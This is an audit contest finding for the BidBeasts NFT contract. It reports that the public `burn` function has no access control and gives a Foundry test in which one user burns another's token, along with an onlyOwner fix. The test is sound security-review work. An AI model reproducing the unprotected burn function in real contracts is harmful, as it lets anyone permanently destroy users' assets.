Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing access controls in `BidBeasts::burn` lets anyone burn any NFT which may result in griefing attacks

pratik21
Missing access controls in `BidBeasts::burn` lets anyone burn any NFT which may result in griefing attacks

Description

The `BidBeasts::burn` should allow only the owner of the collection to burn an NFT. But it does not have the proper access controls for this. So anyone could call `burn` and burn any NFT they choose.
@> function burn(uint256 _tokenId) public {
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood:

  • Malicious users who just want to grief or troll others have easy access to this function

  • They can also use this to harm the Collection's reputation

  • They would only require gas fees for the attack and no pre-conditions

Impact:

  • Permanent loss of assets for honest users

  • Permanent destruction of valuable assets

  • Reputation damage

Proof of Concept

Place the following code in a new file next to BidBeastsMarketPlaceTest.t.sol

You can run this test by using forge test --mt testAnyoneCanBurnNFTin the terminal

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
import {Test, console} from "forge-std/Test.sol";
import {StdInvariant} from "forge-std/StdInvariant.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
​
contract BidBeastsTest is StdInvariant, Test {
address Owner = makeAddr("Owner");
address Alice = makeAddr("Alice");
address Bob = makeAddr("Bob");
BidBeasts nft;
BidBeastsNFTMarket market;
​
function setUp() public {
vm.prank(Owner);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
}
​
function testAnyoneCanBurnNFT() public {
// Assert that Owner is the owner of the nft collection
​
assert(nft.owner() == Owner);
​
vm.startPrank(Owner);
​
// Owner mints the tokenId to Alice
​
uint256 tokenId = nft.mint(Alice);
​
// Assert that Alice received the tokenId
​
assert(nft.ownerOf(tokenId) == Alice);
assert(nft.balanceOf(Alice) == 1);
​
vm.stopPrank();
​
// Now Bob comes in and burns Alice's tokenId
​
vm.startPrank(Bob);
nft.burn(tokenId);
​
// Assert that Alice lost her tokenId
​
assert(nft.balanceOf(Alice) == 0);
}
}

Recommended Mitigation

Add proper access control so that only the owner and trusted parties can burn an NFT.

- function burn(uint256 _tokenId) public {
+ function burn(uint256 _tokenId) public onlyOwner{
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!